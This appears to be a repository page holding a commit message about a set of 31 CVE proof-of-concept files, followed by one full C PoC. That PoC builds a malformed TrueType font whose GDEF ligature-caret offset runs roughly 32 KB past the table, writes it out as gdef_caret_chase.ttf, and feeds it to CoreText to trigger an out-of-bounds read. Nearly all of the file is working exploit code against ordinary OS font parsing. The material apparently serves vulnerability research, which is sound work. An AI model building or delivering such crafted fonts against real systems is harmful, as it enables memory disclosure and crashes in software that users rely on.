- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
170 lines
6.6 KiB
C
170 lines
6.6 KiB
C
// font.gdef · FontParser · GDEF LigCaretList · CVE-2026-112656
|
|
// GDEF caret value offset chain past the table
|
|
// C twin of the Swift POC: builds the GDEF-caret-chase TrueType font, loads it through
|
|
// CGFont/CTFont and queries CTFontGetLigatureCaretPositions.
|
|
// Build: clang -O2 -o cve-2026-112656 CVE-2026-112656.c -framework CoreText -framework CoreGraphics -framework CoreFoundation
|
|
// Run: ./cve-2026-112656
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
// ── byte buffer ──
|
|
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
|
static void bneed(buf *b, size_t extra) {
|
|
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
|
}
|
|
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
|
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
|
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
|
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
|
|
|
static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
|
|
static void be32(buf *b, uint32_t v) {
|
|
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
|
|
}
|
|
|
|
// ── table holder ──
|
|
typedef struct { const char *tag; buf data; } table;
|
|
|
|
// ── seed construction (from Cinder27 Sources: FontPayload.gdefCaretChase) ──
|
|
static buf font_gdef_caret_chase(void) {
|
|
table tables[8];
|
|
int nt = 0;
|
|
|
|
{ // head
|
|
buf t = {0};
|
|
brep(&t, 0, 54);
|
|
t.d[0] = 0x00; t.d[1] = 0x01; t.d[2] = 0x00; t.d[3] = 0x00;
|
|
t.d[4] = 0x00; t.d[5] = 0x01; t.d[6] = 0x00; t.d[7] = 0x00;
|
|
t.d[12] = 0x5F; t.d[13] = 0x0F; // magic
|
|
tables[nt++] = (table){"head", t};
|
|
}
|
|
{ // hhea
|
|
buf t = {0};
|
|
brep(&t, 0, 36);
|
|
t.d[0] = 0x00; t.d[1] = 0x01;
|
|
tables[nt++] = (table){"hhea", t};
|
|
}
|
|
{ // maxp
|
|
buf t = {0};
|
|
brep(&t, 0, 32);
|
|
t.d[0] = 0x00; t.d[1] = 0x00; t.d[2] = 0x50; t.d[3] = 0x00;
|
|
t.d[4] = 0x00; t.d[5] = 0x01;
|
|
tables[nt++] = (table){"maxp", t};
|
|
}
|
|
{ // hmtx
|
|
buf t = {0};
|
|
bcat(&t, "\x02\x00\x00\x00", 4);
|
|
tables[nt++] = (table){"hmtx", t};
|
|
}
|
|
{ // loca: short format, 2 glyphs
|
|
buf t = {0};
|
|
bcat(&t, "\x00\x00\x00\x04", 4);
|
|
tables[nt++] = (table){"loca", t};
|
|
}
|
|
{ // glyf
|
|
buf t = {0};
|
|
bcat(&t, "\x00\x00\x00\x00", 4);
|
|
tables[nt++] = (table){"glyf", t};
|
|
}
|
|
{ // cmap: format 4, minimal
|
|
buf t = {0};
|
|
be16(&t, 0); be16(&t, 1);
|
|
be16(&t, 3); be16(&t, 1); be32(&t, 12);
|
|
be16(&t, 4); be16(&t, 24); be16(&t, 0);
|
|
be16(&t, 2); be16(&t, 2); be16(&t, 0); be16(&t, 0);
|
|
be16(&t, 0xFFFF); be16(&t, 0); be16(&t, 0);
|
|
tables[nt++] = (table){"cmap", t};
|
|
}
|
|
{ // GDEF: LigCaretList whose CaretValue offset runs past the table
|
|
buf t = {0};
|
|
be16(&t, 0x0001); be16(&t, 0x0000); // version 1.0
|
|
be16(&t, 0x0000); // glyphClassDef absent
|
|
be16(&t, 0x0000); // attachList absent
|
|
be16(&t, 0x000C); // ligCaretListOffset -> 12
|
|
be16(&t, 0x0000); // markAttachClassDef absent
|
|
// LigCaretList at 12
|
|
be16(&t, 0x000C); // coverageOffset -> 24
|
|
be16(&t, 0x0001); // ligGlyphCount
|
|
be16(&t, 0x0010); // ligGlyphOffsets[0] -> 28
|
|
be16(&t, 0x0000); // pad
|
|
// Coverage at 24: format 1, glyph 1
|
|
be16(&t, 0x0001); be16(&t, 0x0001); be16(&t, 0x0001);
|
|
// LigGlyph at 28
|
|
be16(&t, 0x0001); // caretCount
|
|
be16(&t, 0x7F00); // caretValueOffsets[0]: ~32 KB past the table
|
|
tables[nt++] = (table){"GDEF", t};
|
|
}
|
|
|
|
// ---- assemble: sort by tag, build directory + blobs
|
|
for (int i = 0; i < nt; i++) for (int j = i + 1; j < nt; j++) {
|
|
if (strcmp(tables[j].tag, tables[i].tag) < 0) { table t = tables[i]; tables[i] = tables[j]; tables[j] = t; }
|
|
}
|
|
uint16_t num_tables = (uint16_t)nt;
|
|
uint16_t search_range = 16, entry_selector = 0;
|
|
while (search_range * 2 <= num_tables * 16) { search_range *= 2; entry_selector++; }
|
|
buf out = {0};
|
|
be32(&out, 0x00010000);
|
|
be16(&out, num_tables);
|
|
be16(&out, search_range);
|
|
be16(&out, entry_selector);
|
|
be16(&out, num_tables * 16 - search_range);
|
|
size_t offset = 12 + (size_t)nt * 16;
|
|
for (int i = 0; i < nt; i++) {
|
|
bcat(&out, tables[i].tag, 4);
|
|
be32(&out, 0x00010000); // checksum, unchecked by parsers
|
|
be32(&out, (uint32_t)offset);
|
|
be32(&out, (uint32_t)tables[i].data.n);
|
|
size_t pad = (4 - tables[i].data.n % 4) % 4;
|
|
offset += tables[i].data.n + pad;
|
|
}
|
|
for (int i = 0; i < nt; i++) {
|
|
bcat(&out, tables[i].data.d, tables[i].data.n);
|
|
size_t pad = (4 - tables[i].data.n % 4) % 4;
|
|
if (pad) brep(&out, 0, pad);
|
|
bfree(&tables[i].data);
|
|
}
|
|
return out;
|
|
}
|
|
|
|
// ── trigger: CGFont + CTFont caret query ──
|
|
#include <CoreText/CoreText.h>
|
|
#include <CoreGraphics/CoreGraphics.h>
|
|
#include <CoreFoundation/CoreFoundation.h>
|
|
|
|
int main(void) {
|
|
buf font = font_gdef_caret_chase();
|
|
FILE *f = fopen("gdef_caret_chase.ttf", "wb");
|
|
if (f) { fwrite(font.d, 1, font.n, f); fclose(f); }
|
|
|
|
CFDataRef cf = CFDataCreate(NULL, font.d, (CFIndex)font.n);
|
|
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
|
|
CFRelease(cf);
|
|
CGFontRef cg = CGFontCreateWithDataProvider(prov);
|
|
CGDataProviderRelease(prov);
|
|
if (!cg) {
|
|
printf("CVE-2026-112656 · font refused at the CGFont layer\n");
|
|
bfree(&font);
|
|
return 1;
|
|
}
|
|
CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 72, NULL, NULL);
|
|
CGFloat positions[8];
|
|
memset(positions, 0, sizeof positions);
|
|
// the caret query follows the CaretValue offset chain
|
|
CFIndex n = CTFontGetLigatureCaretPositions(ct, 1, positions, 8);
|
|
printf("CVE-2026-112656 · CTFontGetLigatureCaretPositions returned %ld\n", (long)n);
|
|
if (n > 0) {
|
|
printf("caret positions:");
|
|
for (int i = 0; i < n && i < 8; i++) printf(" %.2f", positions[i]);
|
|
printf(" (values read through the offset chain)\n");
|
|
} else {
|
|
printf("returned 0 — offset clamped or chain not followed\n");
|
|
}
|
|
CFRelease(ct);
|
|
CGFontRelease(cg);
|
|
printf("seed: gdef_caret_chase.ttf (%zu B) · exit code 0\n", font.n);
|
|
bfree(&font);
|
|
return 0;
|
|
}
|